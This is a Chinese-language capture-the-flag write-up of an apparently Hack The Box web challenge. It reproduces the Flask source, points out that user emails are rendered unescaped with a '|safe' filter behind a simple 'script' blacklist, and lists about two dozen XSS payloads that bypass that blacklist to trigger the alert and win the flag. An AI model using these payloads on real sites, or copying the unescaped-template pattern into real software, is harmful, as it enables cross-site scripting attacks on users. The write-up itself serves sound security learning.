题目描述
(有附件)
观察 打开网页:
翻到最底下可以看到一个输入框:
阅读一下源代码(app.py):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 import random, stringfrom flask import Flask, request, render_template, abortfrom flask_socketio import SocketIOfrom threading import Threadapp = Flask(__name__) socketio = SocketIO(app) registered_emails, socket_clients = [], {} generate = lambda x: "" .join([random.choice(string.hexdigits) for _ in range (x)]) BOT_TOKEN = generate(16 ) def blacklist_pass (email ): email = email.lower() if "script" in email: return False return True def send_flag (user_ip ): for id , ip in socket_clients.items(): if ip == user_ip: socketio.emit("flag" , {"flag" : open ("flag.txt" ).read()}, room=id ) def start_bot (user_ip ): from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.chrome.service import Service from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC host, port = "localhost" , 1337 HOST = f"http://{host} :{port} " options = Options() options.add_argument("--headless" ) options.add_argument("--no-sandbox" ) options.add_argument("--disable-dev-shm-usage" ) options.add_argument("--disable-infobars" ) options.add_argument("--disable-background-networking" ) options.add_argument("--disable-default-apps" ) options.add_argument("--disable-extensions" ) options.add_argument("--disable-gpu" ) options.add_argument("--disable-sync" ) options.add_argument("--disable-translate" ) options.add_argument("--hide-scrollbars" ) options.add_argument("--metrics-recording-only" ) options.add_argument("--mute-audio" ) options.add_argument("--no-first-run" ) options.add_argument("--dns-prefetch-disable" ) options.add_argument("--safebrowsing-disable-auto-update" ) options.add_argument("--media-cache-size=1" ) options.add_argument("--disk-cache-size=1" ) options.add_argument("--user-agent=HTB/1.0" ) service = Service(executable_path="/usr/bin/chromedriver" ) browser = webdriver.Chrome(service=service, options=options) try : browser.get(f"{HOST} /bot?token={BOT_TOKEN} " ) WebDriverWait(browser, 3 ).until(EC.alert_is_present()) alert = browser.switch_to.alert alert.accept() send_flag(user_ip) except Exception as e: pass finally : registered_emails.clear() browser.quit() @app.route("/" ) def index (): return render_template("index.html" ) @app.route("/api/register" , methods=["POST" ] ) def register (): if not request.is_json or not request.json["email" ]: return abort(400 ) if not blacklist_pass(request.json["email" ]): return abort(401 ) registered_emails.append(request.json["email" ]) Thread(target=start_bot, args=(request.remote_addr,)).start() return {"success" :True } @app.route("/bot" ) def bot (): if request.args.get("token" , "" ) != BOT_TOKEN: return abort(404 ) return render_template("bot.html" , emails=registered_emails) @socketio.on("connect" ) def on_connect (): socket_clients[request.sid] = request.remote_addr @socketio.on("disconnect" ) def on_disconnect (): del socket_clients[request.sid] if __name__ == "__main__" : app.run(host="0.0.0.0" , port=1337 , debug=False )
不难发现2点:
这里
1 return render_template("bot.html" , emails=registered_emails)
会接收我们的输入并且直接插入 bot.html 里,而查看 bot.html :
1 2 3 {% for email in emails %} <span > {{ email|safe }}</span > <br /> {% endfor %}
会发现它会直接将我们的输入不进行过滤直接插入进模板里,所以注入是可行的。
唯一的一点小阻拦是这里:
1 2 3 4 5 6 7 def blacklist_pass (email ): email = email.lower() if "script" in email: return False return True
我们输入的内容不能包含”script”。
通过这段:
1 2 3 4 5 6 7 8 try : browser.get(f"{HOST} /bot?token={BOT_TOKEN} " ) WebDriverWait(browser, 3 ).until(EC.alert_is_present()) alert = browser.switch_to.alert alert.accept() send_flag(user_ip)
可以确定只要我们可以成功触发alert就可以得到flag。
渗透 我们需要做的就是不构造包含”script”的注入触发alert,方法有很多种(每一行都是可行的):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <img src =x onerror =alert(1) > <img src =x onerror =alert(1) > <img src =1 onerror =confirm(1) > <img src =a onerror =prompt(1) > <svg onload =alert(1) > <svg onload =alert(1) > <svg oNlOaD =alert(1) > <svg/onload=alert(1)> <svg onload =/*x*/alert(1) > <img src =x onerror =eval(String.fromCharCode(97,108,101,114,116,40,49,41)) > <svg onload =prompt(1) > <svg > <animate attributeName =x dur =1s onend =alert(1) > <video > <source onerror =alert(1) > </video > <iframe onload =alert(1) > <iframe srcdoc ="<svg onload=alert(1)>" > </iframe > <details open ontoggle =alert(1) > X</details > <math > <mtext > <img src =x onerror =alert(1) > </mtext > </math > </span > <svg onload =alert(1) > </span > <img src =x onerror =alert(1) > </span > <iframe onload =alert(1) > </span > <video > <source onerror =alert(1) > </video >
点击后就会显示:
得到flag:HTB{al3rt5_c4n_4nd_w1l1_c4us3_jumpsc4r35!!} 。